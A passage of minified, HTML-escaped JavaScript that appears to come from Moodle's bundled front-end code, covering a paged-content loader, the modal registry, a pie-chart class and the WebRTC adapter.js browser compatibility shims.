loadingSpinner=$(html),timerId=setTimeout((function(){root.css(&quot;position&quot;,&quot;relative&quot;),loadingSpinner.appendTo(root)}),300);deferred.always((function(){clearTimeout(timerId),loadingSpinner.remove(),root.css(&quot;position&quot;,&quot;&quot;),root.removeAttr(&quot;aria-busy&quot;),pendingPromise.resolve()}))})).fail(Notification.exception),deferred}(root);newPagesPromise.then((function(newPages){var pagesToShow=existingPages.concat(newPages);root.find(SELECTORS_PAGE_REGION).addClass(&quot;hidden&quot;),pagesToShow.forEach((function(page){page.removeClass(&quot;hidden&quot;)}))})).then((function(){PubSub.publish(id+PagedContentEvents.PAGES_SHOWN,pagesData)})).fail(Notification.exception).always((function(){loadingPromise.resolve(),pendingPromise.resolve()})).catch()};return{init:function(root,id,renderPagesContentCallback){root=$(root),PubSub.subscribe(id+PagedContentEvents.SHOW_PAGES,(function(pagesData){showPages(root,pagesData,id,renderPagesContentCallback)})),PubSub.subscribe(id+PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT,(function(){root.empty()}))},rootSelector:&#039;[data-region=&quot;page-container&quot;]&#039;}}));
/**
 * A registry for the different types of modal.
 *
 * @module     core/modal_registry
 * @class      modal_registry
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/modal_registry&quot;,[&quot;core/notification&quot;,&quot;core/prefetch&quot;],(function(Notification,Prefetch){var registry={},get=function(type){return registry[type]};return{register:function(type,module,template){get(type)&amp;&amp;Notification.exception({message:&quot;Modal of  type &#039;&quot;+type+&quot;&#039; is already registered&quot;}),module&amp;&amp;&quot;function&quot;==typeof module||Notification.exception({message:&quot;You must provide a modal module&quot;}),template||Notification.exception({message:&quot;You must provide a modal template&quot;}),registry[type]={module:module,template:template},Prefetch.prefetchTemplate(template)},get:get}}));
/**
 * Chart pie.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_pie
 */
define(&quot;core/chart_pie&quot;,[&quot;core/chart_base&quot;],(function(Base){function Pie(){Base.prototype.constructor.apply(this,arguments)}return Pie.prototype=Object.create(Base.prototype),Pie.prototype.TYPE=&quot;pie&quot;,Pie.prototype._doughnut=null,Pie.prototype.create=function(Klass,data){var chart=Base.prototype.create.apply(this,arguments);return chart.setDoughnut(data.doughnut),chart},Pie.prototype.addSeries=function(series){if(null===series.getColor()){for(var colors=[],configColorSet=this.getConfigColorSet()||Base.prototype.COLORSET,i=0;i&lt;series.getCount();i++)colors.push(configColorSet[i%configColorSet.length]);series.setColors(colors)}return Base.prototype.addSeries.apply(this,arguments)},Pie.prototype.getDoughnut=function(){return this._doughnut},Pie.prototype.setDoughnut=function(doughnut){this._doughnut=Boolean(doughnut)},Pie.prototype._validateSeries=function(){if(this._series.length&gt;=1)throw new Error(&quot;Pie charts only support one serie.&quot;);return Base.prototype._validateSeries.apply(this,arguments)},Pie}));
define(&quot;core/adapter&quot;,[],(function(){return function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=&quot;function&quot;==typeof require&amp;&amp;require;if(!u&amp;&amp;a)return a(o,!0);if(i)return i(o,!0);var f=new Error(&quot;Cannot find module &#039;&quot;+o+&quot;&#039;&quot;);throw f.code=&quot;MODULE_NOT_FOUND&quot;,f}var l=n[o]={exports:{}};t[o][0].call(l.exports,(function(e){var n=t[o][1][e];return s(n||e)}),l,l.exports,e,t,n,r)}return n[o].exports}for(var i=&quot;function&quot;==typeof require&amp;&amp;require,o=0;o&lt;r.length;o++)s(r[o]);return s}({1:[function(require,module,exports){var adapter=(0,require(&quot;./adapter_factory.js&quot;).adapterFactory)({window:&quot;undefined&quot;==typeof window?void 0:window});module.exports=adapter},{&quot;./adapter_factory.js&quot;:2}],2:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0}),exports.adapterFactory=function(){var _ref=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},window=_ref.window,options=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{shimChrome:!0,shimFirefox:!0,shimSafari:!0},logging=utils.log,browserDetails=utils.detectBrowser(window),adapter={browserDetails:browserDetails,commonShim:commonShim,extractVersion:utils.extractVersion,disableLog:utils.disableLog,disableWarnings:utils.disableWarnings,sdp:sdp};switch(browserDetails.browser){case&quot;chrome&quot;:if(!chromeShim||!chromeShim.shimPeerConnection||!options.shimChrome)return logging(&quot;Chrome shim is not included in this adapter release.&quot;),adapter;if(null===browserDetails.version)return logging(&quot;Chrome shim can not determine version, not shimming.&quot;),adapter;logging(&quot;adapter.js shimming chrome.&quot;),adapter.browserShim=chromeShim,commonShim.shimAddIceCandidateNullOrEmpty(window,browserDetails),chromeShim.shimGetUserMedia(window,browserDetails),chromeShim.shimMediaStream(window,browserDetails),chromeShim.shimPeerConnection(window,browserDetails),chromeShim.shimOnTrack(window,browserDetails),chromeShim.shimAddTrackRemoveTrack(window,browserDetails),chromeShim.shimGetSendersWithDtmf(window,browserDetails),chromeShim.shimGetStats(window,browserDetails),chromeShim.shimSenderReceiverGetStats(window,browserDetails),chromeShim.fixNegotiationNeeded(window,browserDetails),commonShim.shimRTCIceCandidate(window,browserDetails),commonShim.shimConnectionState(window,browserDetails),commonShim.shimMaxMessageSize(window,browserDetails),commonShim.shimSendThrowTypeError(window,browserDetails),commonShim.removeExtmapAllowMixed(window,browserDetails);break;case&quot;firefox&quot;:if(!firefoxShim||!firefoxShim.shimPeerConnection||!options.shimFirefox)return logging(&quot;Firefox shim is not included in this adapter release.&quot;),adapter;logging(&quot;adapter.js shimming firefox.&quot;),adapter.browserShim=firefoxShim,commonShim.shimAddIceCandidateNullOrEmpty(window,browserDetails),firefoxShim.shimGetUserMedia(window,browserDetails),firefoxShim.shimPeerConnection(window,browserDetails),firefoxShim.shimOnTrack(window,browserDetails),firefoxShim.shimRemoveStream(window,browserDetails),firefoxShim.shimSenderGetStats(window,browserDetails),firefoxShim.shimReceiverGetStats(window,browserDetails),firefoxShim.shimRTCDataChannel(window,browserDetails),firefoxShim.shimAddTransceiver(window,browserDetails),firefoxShim.shimGetParameters(window,browserDetails),firefoxShim.shimCreateOffer(window,browserDetails),firefoxShim.shimCreateAnswer(window,browserDetails),commonShim.shimRTCIceCandidate(window,browserDetails),commonShim.shimConnectionState(window,browserDetails),commonShim.shimMaxMessageSize(window,browserDetails),commonShim.shimSendThrowTypeError(window,browserDetails);break;case&quot;safari&quot;:if(!safariShim||!options.shimSafari)return logging(&quot;Safari shim is not included in this adapter release.&quot;),adapter;logging(&quot;adapter.js shimming safari.&quot;),adapter.browserShim=safariShim,commonShim.shimAddIceCandidateNullOrEmpty(window,browserDetails),safariShim.shimRTCIceServerUrls(window,browserDetails),safariShim.shimCreateOfferLegacy(window,browserDetails),safariShim.shimCallbacksAPI(window,browserDetails),safariShim.shimLocalStreamsAPI(window,browserDetails),safariShim.shimRemoteStreamsAPI(window,browserDetails),safariShim.shimTrackEventTransceiver(window,browserDetails),safariShim.shimGetUserMedia(window,browserDetails),safariShim.shimAudioContext(window,browserDetails),commonShim.shimRTCIceCandidate(window,browserDetails),commonShim.shimMaxMessageSize(window,browserDetails),commonShim.shimSendThrowTypeError(window,browserDetails),commonShim.removeExtmapAllowMixed(window,browserDetails);break;default:logging(&quot;Unsupported browser!&quot;)}return adapter};var utils=_interopRequireWildcard(require(&quot;./utils&quot;)),chromeShim=_interopRequireWildcard(require(&quot;./chrome/chrome_shim&quot;)),firefoxShim=_interopRequireWildcard(require(&quot;./firefox/firefox_shim&quot;)),safariShim=_interopRequireWildcard(require(&quot;./safari/safari_shim&quot;)),commonShim=_interopRequireWildcard(require(&quot;./common_shim&quot;)),sdp=_interopRequireWildcard(require(&quot;sdp&quot;));function _interopRequireWildcard(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}},{&quot;./chrome/chrome_shim&quot;:3,&quot;./common_shim&quot;:6,&quot;./firefox/firefox_shim&quot;:7,&quot;./safari/safari_shim&quot;:10,&quot;./utils&quot;:11,sdp:12}],3:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0}),exports.shimGetDisplayMedia=exports.shimGetUserMedia=void 0;var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj},_getusermedia=require(&quot;./getusermedia&quot;);Object.defineProperty(exports,&quot;shimGetUserMedia&quot;,{enumerable:!0,get:function(){return _getusermedia.shimGetUserMedia}});var _getdisplaymedia=require(&quot;./getdisplaymedia&quot;);Object.defineProperty(exports,&quot;shimGetDisplayMedia&quot;,{enumerable:!0,get:function(){return _getdisplaymedia.shimGetDisplayMedia}}),exports.shimMediaStream=function(window){window.MediaStream=window.MediaStream||window.webkitMediaStream},exports.shimOnTrack=function(window){if(&quot;object&quot;===(void 0===window?&quot;undefined&quot;:_typeof(window))&amp;&amp;window.RTCPeerConnection&amp;&amp;!(&quot;ontrack&quot;in window.RTCPeerConnection.prototype)){Object.defineProperty(window.RTCPeerConnection.prototype,&quot;ontrack&quot;,{get:function(){return this._ontrack},set:function(f){this._ontrack&amp;&amp;this.removeEventListener(&quot;track&quot;,this._ontrack),this.addEventListener(&quot;track&quot;,this._ontrack=f)},enumerable:!0,configurable:!0});var origSetRemoteDescription=window.RTCPeerConnection.prototype.setRemoteDescription;window.RTCPeerConnection.prototype.setRemoteDescription=function(){var _this=this;return this._ontrackpoly||(this._ontrackpoly=function(e){e.stream.addEventListener(&quot;addtrack&quot;,(function(te){var receiver=void 0;receiver=window.RTCPeerConnection.prototype.getReceivers?_this.getReceivers().find((function(r){return r.track&amp;&amp;r.track.id===te.track.id})):{track:te.track};var event=new Event(&quot;track&quot;);event.track=te.track,event.receiver=receiver,event.transceiver={receiver:receiver},event.streams=[e.stream],_this.dispatchEvent(event)})),e.stream.getTracks().forEach((function(track){var receiver=void 0;receiver=window.RTCPeerConnection.prototype.getReceivers?_this.getReceivers().find((function(r){return r.track&amp;&amp;r.track.id===track.id})):{track:track};var event=new Event(&quot;track&quot;);event.track=track,event.receiver=receiver,event.transceiver={receiver:receiver},event.streams=[e.stream],_this.dispatchEvent(event)}))},this.addEventListener(&quot;addstream&quot;,this._ontrackpoly)),origSetRemoteDescription.apply(this,arguments)}}else utils.wrapPeerConnectionEvent(window,&quot;track&quot;,(function(e){return e.transceiver||Object.defineProperty(e,&quot;transceiver&quot;,{value:{receiver:e.receiver}}),e}))},exports.shimGetSendersWithDtmf=function(window){if(&quot;object&quot;===(void 0===window?&quot;undefined&quot;:_typeof(window))&amp;&amp;window.RTCPeerConnection&amp;&amp;!(&quot;getSenders&quot;in window.RTCPeerConnection.prototype)&amp;&amp;&quot;createDTMFSender&quot;in window.RTCPeerConnection.prototype){var shimSenderWithDtmf=function(pc,track){return{track:track,get dtmf(){return void 0===this._dtmf&amp;&amp;(&quot;audio&quot;===track.kind?this._dtmf=pc.createDTMFSender(track):this._dtmf=null),this._dtmf},_pc:pc}};if(!window.RTCPeerConnection.prototype.getSenders){window.RTCPeerConnection.prototype.getSenders=function(){return this._senders=this._senders||[],this._senders.slice()};var origAddTrack=window.RTCPeerConnection.prototype.addTrack;window.RTCPeerConnection.prototype.addTrack=function(track,stream){var sender=origAddTrack.apply(this,arguments);return sender||(sender=shimSenderWithDtmf(this,track),this._senders.push(sender)),sender};var origRemoveTrack=window.RTCPeerConnection.prototype.removeTrack;window.RTCPeerConnection.prototype.removeTrack=function(sender){origRemoveTrack.apply(this,arguments);var idx=this._senders.indexOf(sender);-1!==idx&amp;&amp;this._senders.splice(idx,1)}}var origAddStream=window.RTCPeerConnection.prototype.addStream;window.RTCPeerConnection.prototype.addStream=function(stream){var _this2=this;this._senders=this._senders||[],origAddStream.apply(this,[stream]),stream.getTracks().forEach((function(track){_this2._senders.push(shimSenderWithDtmf(_this2,track))}))};var origRemoveStream=window.RTCPeerConnection.prototype.removeStream;window.RTCPeerConnection.prototype.removeStream=function(stream){var _this3=this;this._senders=this._senders||[],origRemoveStream.apply(this,[stream]),stream.getTracks().forEach((function(track){var sender=_this3._senders.find((function(s){return s.track===track}));sender&amp;&amp;_this3._senders.splice(_this3._senders.indexOf(sender),1)}))}}else if(&quot;object&quot;===(void 0===window?&quot;undefined&quot;:_typeof(window))&amp;&amp;window.RTCPeerConnection&amp;&amp;&quot;getSenders&quot;in window.RTCPeerConnection.prototype&amp;&amp;&quot;createDTMFSender&quot;in window.RTCPeerConnection.prototype&amp;&amp;window.RTCRtpSender&amp;&amp;!(&quot;dtmf&quot;in window.RTCRtpSender.prototype)){var origGetSenders=window.RTCPeerConnection.prototype.getSenders;window.RTCPeerConnection.prototype.getSenders=function(){var _this4=this,senders=origGetSenders.apply(this,[]);return senders.forEach((function(sender){return sender._pc=_this4})),senders},Object.defineProperty(window.RTCRtpSender.prototype,&quot;dtmf&quot;,{get:function(){return void 0===this._dtmf&amp;&amp;(&quot;audio&quot;===this.track.kind?this._dtmf=this._pc.createDTMFSender(this.track):this._dtmf=null),this._dtmf}})}},exports.shimGetStats=function(window){if(!window.RTCPeerConnection)return;var origGetStats=window.RTCPeerConnection.prototype.getStats;window.RTCPeerConnection.prototype.getStats=function(){var _this5=this,_arguments=Array.prototype.slice.call(arguments),selector=_arguments[0],onSucc=_arguments[1],onErr=_arguments[2];if(arguments.length&gt;0&amp;&amp;&quot;function&quot;==typeof selector)return origGetStats.apply(this,arguments);if(0===origGetStats.length&amp;&amp;(0===arguments.length||&quot;function&quot;!=typeof selector))return origGetStats.apply(this,[]);var fixChromeStats_=function(response){var standardReport={};return response.result().forEach((function(report){var standardStats={id:report.id,timestamp:report.timestamp,type:{localcandidate:&quot;local-candidate&quot;,remotecandidate:&quot;remote-candidate&quot;}[report.type]||report.type};report.names().forEach((function(name){standardStats[name]=report.stat(name)})),standardReport[standardStats.id]=standardStats})),standardReport},makeMapStats=function(stats){return new Map(Object.keys(stats).map((function(key){return[key,stats[key]]})))};if(arguments.length&gt;=2){var successCallbackWrapper_=function(response){onSucc(makeMapStats(fixChromeStats_(response)))};return origGetStats.apply(this,[successCallbackWrapper_,selector])}return new Promise((function(resolve,reject){origGetStats.apply(_this5,[function(response){resolve(makeMapStats(fixChromeStats_(response)))},reject])})).then(onSucc,onErr)}},exports.shimSenderReceiverGetStats=function(window){if(!(&quot;object&quot;===(void 0===window?&quot;undefined&quot;:_typeof(window))&amp;&amp;window.RTCPeerConnection&amp;&amp;window.RTCRtpSender&amp;&amp;window.RTCRtpReceiver))return;if(!(&quot;getStats&quot;in window.RTCRtpSender.prototype)){var origGetSenders=window.RTCPeerConnection.prototype.getSenders;origGetSenders&amp;&amp;(window.RTCPeerConnection.prototype.getSenders=function(){var _this6=this,senders=origGetSenders.apply(this,[]);return senders.forEach((function(sender){return sender._pc=_this6})),senders});var origAddTrack=window.RTCPeerConnection.prototype.addTrack;origAddTrack&amp;&amp;(window.RTCPeerConnection.prototype.addTrack=function(){var sender=origAddTrack.apply(this,arguments);return sender._pc=this,sender}),window.RTCRtpSender.prototype.getStats=function(){var sender=this;return this._pc.getStats().then((function(result){return utils.filterStats(result,sender.track,!0)}))}}if(!(&quot;getStats&quot;in window.RTCRtpReceiver.prototype)){var origGetReceivers=window.RTCPeerConnection.prototype.getReceivers;origGetReceivers&amp;&amp;(window.RTCPeerConnection.prototype.getReceivers=function(){var _this7=this,receivers=origGetReceivers.apply(this,[]);return receivers.forEach((function(receiver){return receiver._pc=_this7})),receivers}),utils.wrapPeerConnectionEvent(window,&quot;track&quot;,(function(e){return e.receiver._pc=e.srcElement,e})),window.RTCRtpReceiver.prototype.getStats=function(){var receiver=this;return this._pc.getStats().then((function(result){return utils.filterStats(result,receiver.track,!1)}))}}if(!(&quot;getStats&quot;in window.RTCRtpSender.prototype)||!(&quot;getStats&quot;in window.RTCRtpReceiver.prototype))return;var origGetStats=window.RTCPeerConnection.prototype.getStats;window.RTCPeerConnection.prototype.getStats=function(){if(arguments.length&gt;0&amp;&amp;arguments[0]instanceof window.MediaStreamTrack){var track=arguments[0],sender=void 0,receiver=void 0,err=void 0;return this.getSenders().forEach((function(s){s.track===track&amp;&amp;(sender?err=!0:sender=s)})),this.getReceivers().forEach((function(r){return r.track===track&amp;&amp;(receiver?err=!0:receiver=r),r.track===track})),err||sender&amp;&amp;receiver?Promise.reject(new DOMException(&quot;There are more than one sender or receiver for the track.&quot;,&quot;InvalidAccessError&quot;)):sender?sender.getStats():receiver?receiver.getStats():Promise.reject(new DOMException(&quot;There is no sender or receiver for the track.&quot;,&quot;InvalidAccessError&quot;))}return origGetStats.apply(this,arguments)}},exports.shimAddTrackRemoveTrackWithNative=shimAddTrackRemoveTrackWithNative,exports.shimAddTrackRemoveTrack=function(window,browserDetails){if(!window.RTCPeerConnection)return;if(window.RTCPeerConnection.prototype.addTrack&amp;&amp;browserDetails.version&gt;=65)return shimAddTrackRemoveTrackWithNative(window);var origGetLocalStreams=window.RTCPeerConnection.prototype.getLocalStreams;window.RTCPeerConnection.prototype.getLocalStreams=function(){var _this11=this,nativeStreams=origGetLocalStreams.apply(this);return this._reverseStreams=this._reverseStreams||{},nativeStreams.map((function(stream){return _this11._reverseStreams[stream.id]}))};var origAddStream=window.RTCPeerConnection.prototype.addStream;window.RTCPeerConnection.prototype.addStream=function(stream){var _this12=this;if(this._streams=this._streams||{},this._reverseStreams=this._reverseStreams||{},stream.getTracks().forEach((function(track){if(_this12.getSenders().find((function(s){return s.track===track})))throw new DOMException(&quot;Track already exists.&quot;,&quot;InvalidAccessError&quot;)})),!this._reverseStreams[stream.id]){var newStream=new window.MediaStream(stream.getTracks());this._streams[stream.id]=newStream,this._reverseStreams[newStream.id]=stream,stream=newStream}origAddStream.apply(this,[stream])};var origRemoveStream=window.RTCPeerConnection.prototype.removeStream;function replaceInternalStreamId(pc,description){var sdp=description.sdp;return Object.keys(pc._reverseStreams||[]).forEach((function(internalId){var externalStream=pc._reverseStreams[internalId],internalStream=pc._streams[externalStream.id];sdp=sdp.replace(new RegExp(internalStream.id,&quot;g&quot;),externalStream.id)})),new RTCSessionDescription({type:description.type,sdp:sdp})}function replaceExternalStreamId(pc,description){var sdp=description.sdp;return Object.keys(pc._reverseStreams||[]).forEach((function(internalId){var externalStream=pc._reverseStreams[internalId],internalStream=pc._streams[externalStream.id];sdp=sdp.replace(new RegExp(externalStream.id,&quot;g&quot;),internalStream.id)})),new RTCSessionDescription({type:description.type,sdp:sdp})}window.RTCPeerConnection.prototype.removeStream=function(stream){this._streams=this._streams||{},this._reverseStreams=this._reverseStreams||{},origRemoveStream.apply(this,[this._streams[stream.id]||stream]),delete this._reverseStreams[this._streams[stream.id]?this._streams[stream.id].id:stream.id],delete this._streams[stream.id]},window.RTCPeerConnection.prototype.addTrack=function(track,stream){var _this13=this;if(&quot;closed&quot;===this.signalingState)throw new DOMException(&quot;The RTCPeerConnection&#039;s signalingState is &#039;closed&#039;.&quot;,&quot;InvalidStateError&quot;);var streams=[].slice.call(arguments,1);if(1!==streams.length||!streams[0].getTracks().find((function(t){return t===track})))throw new DOMException(&quot;The adapter.js addTrack polyfill only supports a single  stream which is associated with the specified track.&quot;,&quot;NotSupportedError&quot;);var alreadyExists=this.getSenders().find((function(s){return s.track===track}));if(alreadyExists)throw new DOMException(&quot;Track already exists.&quot;,&quot;InvalidAccessError&quot;);this._streams=this._streams||{},this._reverseStreams=this._reverseStreams||{};var oldStream=this._streams[stream.id];if(oldStream)oldStream.addTrack(track),Promise.resolve().then((function(){_this13.dispatchEvent(new Event(&quot;negotiationneeded&quot;))}));else{var newStream=new window.MediaStream([track]);this._streams[stream.id]=newStream,this._reverseStreams[newStream.id]=stream,this.addStream(newStream)}return this.getSenders().find((function(s){return s.track===track}))},[&quot;createOffer&quot;,&quot;createAnswer&quot;].forEach((function(method){var nativeMethod=window.RTCPeerConnection.prototype[method],methodObj=_defineProperty({},method,(function(){var _this14=this,args=arguments,isLegacyCall=arguments.length&amp;&amp;&quot;function&quot;==typeof arguments[0];return isLegacyCall?nativeMethod.apply(this,[function(description){var desc=replaceInternalStreamId(_this14,description);args[0].apply(null,[desc])},function(err){args[1]&amp;&amp;args[1].apply(null,err)},arguments[2]]):nativeMethod.apply(this,arguments).then((function(description){return replaceInternalStreamId(_this14,description)}))}));window.RTCPeerConnection.prototype[method]=methodObj[method]}));var origSetLocalDescription=window.RTCPeerConnection.prototype.setLocalDescription;window.RTCPeerConnection.prototype.setLocalDescription=function(){return arguments.length&amp;&amp;arguments[0].type?(arguments[0]=replaceExternalStreamId(this,arguments[0]),origSetLocalDescription.apply(this,arguments)):origSetLocalDescription.apply(this,arguments)};var origLocalDescription=Object.getOwnPropertyDescriptor(window.RTCPeerConnection.prototype,&quot;localDescription&quot;);Object.defineProperty(window.RTCPeerConnection.prototype,&quot;localDescription&quot;,{get:function(){var description=origLocalDescription.get.apply(this);return&quot;&quot;===description.type?description:replaceInternalStreamId(this,description)}}),window.RTCPeerConnection.prototype.removeTrack=function(sender){var _this15=this;if(&quot;closed&quot;===this.signalingState)throw new DOMException(&quot;The RTCPeerConnection&#039;s signalingState is &#039;closed&#039;.&quot;,&quot;InvalidStateError&quot;);if(!sender._pc)throw new DOMException(&quot;Argument 1 of RTCPeerConnection.removeTrack does not implement interface RTCRtpSender.&quot;,&quot;TypeError&quot;);if(!(sender._pc===this))throw new DOMException(&quot;Sender was not created by this connection.&quot;,&quot;InvalidAccessError&quot;);this._streams=this._streams||{};var stream=void 0;Object.keys(this._streams).forEach((function(streamid){_this15._streams[streamid].getTracks().find((function(track){return sender.track===track}))&amp;&amp;(stream=_this15._streams[streamid])})),stream&amp;&amp;(1===stream.getTracks().length?this.removeStream(this._reverseStreams[stream.id]):stream.removeTrack(sender.track),this.dispatchEvent(new Event(&quot;negotiationneeded&quot;)))}},exports.shimPeerConnection=function(window,browserDetails){!window.RTCPeerConnection&amp;&amp;window.webkitRTCPeerConnection&amp;&amp;(window.RTCPeerConnection=window.webkitRTCPeerConnection);if(!window.RTCPeerConnection)return;browserDetails.version&lt;53&amp;&amp;[&quot;setLocalDescription&quot;,&quot;setRemoteDescription&quot;,&quot;addIceCandidate&quot;].forEach((function(method){var nativeMethod=window.RTCPeerConnection.prototype[method],methodObj=_defineProperty({},method,(function(){return arguments[0]=new(&quot;addIceCandidate&quot;===method?window.RTCIceCandidate:window.RTCSessionDescription)(arguments[0]),nativeMethod.apply(this,arguments)}));window.RTCPeerConnection.prototype[method]=methodObj[method]}))},exports.fixNegotiationNeeded=function(window,browserDetails){utils.wrapPeerConnectionEvent(window,&quot;negotiationneeded&quot;,(function(e){var pc=e.target;if(!(browserDetails.version&lt;72||pc.getConfiguration&amp;&amp;&quot;plan-b&quot;===pc.getConfiguration().sdpSemantics)||&quot;stable&quot;===pc.signalingState)return e}))};var utils=function(obj){if(obj&amp;&amp;obj.__esModule)return obj;var newObj={};if(null!=obj)for(var key in obj)Object.prototype.hasOwnProperty.call(obj,key)&amp;&amp;(newObj[key]=obj[key]);return newObj.default=obj,newObj}(require(&quot;../utils.js&quot;));function _defineProperty(obj,key,value){return key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,obj}function shimAddTrackRemoveTrackWithNative(window){window.RTCPeerConnection.prototype.getLocalStreams=function(){var _this8=this;return this._shimmedLocalStreams=this._shimmedLocalStreams||{},Object.keys(this._shimmedLocalStreams).map((function(streamId){return _this8._shimmedLocalStreams[streamId][0]}))};var origAddTrack=window.RTCPeerConnection.prototype.addTrack;window.RTCPeerConnection.prototype.addTrack=function(track,stream){if(!stream)return origAddTrack.apply(this,arguments);this._shimmedLocalStreams=this._shimmedLocalStreams||{};var sender=origAddTrack.apply(this,arguments);return this._shimmedLocalStreams[stream.id]?-1===this._shimmedLocalStreams[stream.id].indexOf(sender)&amp;&amp;this._shimmedLocalStreams[stream.id].push(sender):this._shimmedLocalStreams[stream.id]=[stream,sender],sender};var origAddStream=window.RTCPeerConnection.prototype.addStream;window.RTCPeerConnection.prototype.addStream=function(stream){var _this9=this;this._shimmedLocalStreams=this._shimmedLocalStreams||{},stream.getTracks().forEach((function(track){if(_this9.getSenders().find((function(s){return s.track===track})))throw new DOMException(&quot;Track already exists.&quot;,&quot;InvalidAccessError&quot;)}));var existingSenders=this.getSenders();origAddStream.apply(this,arguments);var newSenders=this.getSenders().filter((function(newSender){return-1===existingSenders.indexOf(newSender)}));this._shimmedLocalStreams[stream.id]=[stream].concat(newSenders)};var origRemoveStream=window.RTCPeerConnection.prototype.removeStream;window.RTCPeerConnection.prototype.removeStream=function(stream){return this._shimmedLocalStreams=this._shimmedLocalStreams||{},delete this._shimmedLocalStreams[stream.id],origRemoveStream.apply(this,arguments)};var origRemoveTrack=window.RTCPeerConnection.prototype.removeTrack;window.RTCPeerConnection.prototype.removeTrack=function(sender){var _this10=this;return this._shimmedLocalStreams=this._shimmedLocalStreams||{},sender&amp;&amp;Object.keys(this._shimmedLocalStreams).forEach((function(streamId){var idx=_this10._shimmedLocalStreams[streamId].indexOf(sender);-1!==idx&amp;&amp;_this10._shimmedLocalStreams[streamId].splice(idx,1),1===_this10._shimmedLocalStreams[streamId].length&amp;&amp;delete _this10._shimmedLocalStreams[streamId]})),origRemoveTrack.apply(this,arguments)}}},{&quot;../utils.js&quot;:11,&quot;./getdisplaymedia&quot;:4,&quot;./getusermedia&quot;:5}],4:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0}),exports.shimGetDisplayMedia=function(window,getSourceId){if(window.navigator.mediaDevices&amp;&amp;&quot;getDisplayMedia&quot;in window.navigator.mediaDevices)return;if(!window.navigator.mediaDevices)return;if(&quot;function&quot;!=typeof getSourceId)return void console.error(&quot;shimGetDisplayMedia: getSourceId argument is not a function&quot;);window.navigator.mediaDevices.getDisplayMedia=function(constraints){return getSourceId(constraints).then((function(sourceId){var widthSpecified=constraints.video&amp;&amp;constraints.video.width,heightSpecified=constraints.video&amp;&amp;constraints.video.height,frameRateSpecified=constraints.video&amp;&amp;constraints.video.frameRate;return constraints.video={mandatory:{chromeMediaSource:&quot;desktop&quot;,chromeMediaSourceId:sourceId,maxFrameRate:frameRateSpecified||3}},widthSpecified&amp;&amp;(constraints.video.mandatory.maxWidth=widthSpecified),heightSpecified&amp;&amp;(constraints.video.mandatory.maxHeight=heightSpecified),window.navigator.mediaDevices.getUserMedia(constraints)}))}}},{}],5:[function(require,module,exports){Object.defineProperty(exports,&quot;__esModule&quot;,{value:!0});var _typeof=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(obj){return typeof obj}:function(obj){return obj&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;obj.constructor===Symbol&amp;&amp;obj!==Symbol.prototype?&quot;symbol&quot;:typeof obj};exports.shimGetUserMedia=function(window,browserDetails){var navigator=window&amp;&amp;window.navigator;if(!navigator.mediaDevices)return;var constraintsToChrome_=function(c){if(&quot;object&quot;!==(void 0===c?&quot;undefined&quot;:_typeof(c))||c.mandatory||c.optional)return c;var cc={};return Object.keys(c).forEach((function(key){if(&quot;require&quot;!==key&amp;&amp;&quot;advanced&quot;!==key&amp;&amp;&quot;mediaSource&quot;!==key){var r=&quot;object&quot;===_typeof(c[key])?c[key]:{ideal:c[key]};void 0!==r.exact&amp;&amp;&quot;number&quot;==typeof r.exact&amp;&amp;(r.min=r.max=r.exact);var oldname_=function(prefix,name){return prefix?prefix+name.charAt(0).toUpperCase()+name.slice(1):&quot;deviceId&quot;===name?&quot;sourceId&quot;:name};if(void 0!==r.ideal){cc.optional=cc.optional||[];var oc={};&quot;number&quot;==typeof r.ideal?(oc[oldname_(&quot;min&quot;,key)]=r.ideal,cc.optional.push(oc),(oc={})[oldname_(&quot;max&quot;,key)]=r.ideal,cc.optional.push(oc)):(oc[oldname_(&quot;&quot;,key)]=r.ideal,cc.optional.push(oc))}void 0!==r.exact&amp;&amp;&quot;number&quot;!=typeof r.exact?(cc.mandatory=cc.mandatory||{},cc.mandatory[oldname_(&quot;&quot;,key)]=r.exact):[&quot;min&quot;,&quot;max&quot;].forEach((function(mix){void 0!==r[mix]&amp;&amp;(cc.mandatory=cc.mandatory||{},cc.mandatory[oldname_(mix,key)]=r[mix])}))}})),c.advanced&amp;&amp;(cc.optional=(cc.optional||[]).concat(c.advanced)),cc},shimConstraints_=function(constraints,func){if(browserDetails.version&gt;=61)return func(constraints);if((constraints=JSON.parse(JSON.stringify(constraints)))&amp;&amp;&quot;object&quot;===_typeof(constraints.audio)){var remap=function(obj,a,b){a in obj&amp;&amp;!(b in obj)&amp;&amp;(obj[b]=obj[a],delete obj[a])};remap((constraints=JSON.parse(JSON.stringify(constraints))).audio,&quot;autoGainControl&quot;,&quot;googAutoGainControl&quot;),remap(constraints.audio,&quot;noiseSuppression&quot;,&quot;googNoiseSuppression&quot;),constraints.audio=constraintsToChrome_(constraints.audio)}if(constraints&amp;&amp;&quot;object&quot;===_typeof(constraints.video)){var face=constraints.video.facingMode;face=face&amp;&amp;(&quot;object&quot;===(void 0===face?&quot;undefined&quot;:_typeof(face))?face:{ideal:face});var 